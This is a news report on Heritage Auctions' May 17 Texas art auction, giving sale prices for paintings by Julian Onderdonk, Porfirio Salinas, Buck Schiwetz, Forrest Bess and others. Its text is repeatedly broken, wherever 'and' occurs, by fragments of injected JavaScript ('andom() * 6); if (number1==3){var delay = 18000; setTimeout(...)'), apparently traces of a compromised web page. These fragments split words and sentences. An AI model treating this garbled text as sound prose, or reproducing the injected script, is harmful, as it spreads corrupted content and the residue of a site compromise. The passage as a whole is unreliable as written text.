DALLAS, TEXAS — Julian Onderdonk’s 9-by-12-inch “Bluebonnets, Cloudy Morning, San Antonio, Texas,” 1916, which is a classic example of early Texas Impressionism, brought $81,250 in Heritage Auctions’ May 17 Texas art Signature auction. The auction realized $614,406 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was 95 percent sold by value as most lots met or exceeded estimates.

 “We were pleased to see paintings by Julian Onderdonk take top lot honors,” said Atlee Philips, director of Texas art at Heritage. “Given the strong results for this May auction, we are expecting equally strong response in the fall for those collectors interested in contemporary Texas art.”

Heritage’s Texas art auction  on October 18 will feature the Belo Foundation collection, with proceeds benefiting the Belo educational foundation.

Heritage’s auctions of Texas art are known for setting artist records, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the May 17 sale saw “Brick Cleaners,” circa 1930–31, by Jessie Davis, reach $30,000, more than seven times its estimate andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a new record for the artist.

A painting titled “Blackened Wood Derricks,” 1951, by Edward Muegge “Buck” Schiwetz generated a great deal of preauction buzz, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and six bidders pushed its sale price to $21,250 against an $8,000 estimate. The artwork is one of the most important mixed media Schiwetz paintings to surface in some time. It combines his interest in architectural-engineering advancements (metal derricks) with a respect for their antecedents (wooden derricks).

“Still Life with Pepper, Eggplant andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Flowers,” 1940, by Forrest Clemenger Bess, marked just the second time a work by the Bay City, Texas, artist was auctioned by Heritage. The painting was offered as displayed in one of Bess’s handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andmade driftwood frames andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it sold for $20,000.

Several artworks by Porfirio Salinas saw interest by multiple bidders as untitled (Rural Settlement), a  mid-Twentieth Century painting brought $27,500; “Field of Bluebonnets,” 1957, sold for $26,250; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Summer Texas Hill Country” ended at $20,000. Salinas’ “Fall Landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape with Texas Red Oaks” sold for $16,250, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Golden Country Creek Bed” ended at $16,250.

Other highlights include two other Julian Onderdonk paintings, “A Peach Orchard in Bloom,” 1921, realized $32,500, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Quiet Inlet,” 1909, sold at $18,750.

“Pit Stop En Route to the Homestead,” by Tom Lea, realized $18,750, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Kelley Fearing’s “A Landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape No One Knows with Distant Silver Pyramid andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Thunderheads,” went out at $16,250.

All prices reported include the buyer’s premium. For more information, 800-872-6467 or www.ha.com.